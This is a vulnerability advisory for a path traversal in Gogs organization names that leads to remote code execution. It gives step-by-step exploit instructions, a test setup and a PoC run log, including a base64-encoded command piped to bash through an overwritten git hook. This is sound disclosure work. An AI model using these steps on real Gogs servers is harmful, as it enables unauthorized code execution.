CVE-2026-52813

### Summary Organization names containing path traversal sequences (`../`) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's `hooks` configuration to result in Remote Code Execution (RCE). ### Details During organization creation, `internal/database/org.go` calls `os.MkdirAll(repox.UserPath(org.Name))` without sanitizing `org.Name`. https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165 Repository creation uses this name to decide where to write the Git bare repository's (`org/name.git`). By setting the org name to `../../../../tmp/test`, and creating a repository under that organization, it gets written under `/tmp/test` on the server. https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58 An attacker can abuse this in a clever way by writing to the `/data/gogs/data/tmp/local-r/1` directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like `config` and `hooks/update` are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the `hooks/update` script with malicious Bash commands and then to trigger the hook. The steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions): 1. Create regular outer repository and get its ID 2. Create organization named `../../../../data/gogs/data/tmp/local-r/{ID}/nested` 3. Create a repository inside this organization (eg. `rce`), which will be written into the local clone of the outer repository 4. From the outer repository, edit `nested/rce.git/hooks/update` to contain malicious shell commands 5. Interact with the `rce` repository again to trigger the updated hook, and RCE is achieved ### PoC 1. Set up a default Gogs instance by saving the following content to `docker-compose.yml` and running `docker compose up`: ```yml services: db: image: postgres:16-alpine environment: POSTGRES_USER: gogs POSTGRES_PASSWORD: gogs POSTGRES_DB: gogs volumes: - postgres-data:/var/lib/postgresql/data restart: unless-stopped healthcheck: test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ] interval: 5s timeout: 5s retries: 5 gogs: image: gogs/gogs depends_on: db: condition: service_healthy ports: - "3000:3000" volumes: - gogs-data:/data restart: unless-stopped volumes: gogs-data: postgres-data: ``` 2. Visit http://localhost:3000, set the *Host* to `db:5432` and *Password* to `gogs`. Under *Admin Account Settings* configure your admin account 3. As the attacker, register an account with username `attacker` and password `attacker` at http://localhost:3000/user/sign_up 4. As the attacker, run the following script (in gist to avoid cluttering this advisory): https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9 The output should look like: ```shell $ python3 gogs-rce.py step 1 token ok step 2 create personal repo 201 full_name attacker/writer-bd426045 step 3 web editor new file on attacker / writer-bd426045 step 4 GET writer repo -> local-r 1 step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested step 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False Cloning into '/tmp/poc-writer-fy4k5064'... remote: Enumerating objects: 6, done. remote: Counting objects: 100% (6/6), done. remote: Compressing objects: 100% (3/3), done. remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done. step 9 clone writer repo -> /tmp/poc-writer-fy4k5064 [master 3cf84b2] poc: nested/rce-b175aca7.git hook path 1 file changed, 1 insertion(+) create mode 100755 nested/rce-b175aca7.git/hooks/update step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned Enumerating objects: 7, done. Counting objects: 100% (7/7), done. Delta compression using up to 14 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done. Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 To http://localhost:3000/attacker/writer-bd426045.git b0b9886..3cf84b2 master -> master step 11 push writer step 12 API new file on attacker / writer-bd426045 step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7 step 14 API new file on attacker / writer-bd426045 step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned === COMMAND OUTPUT === uid=1000(git) gid=1000(git) groups=1000(git) ``` ### Impact In the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the `git` user.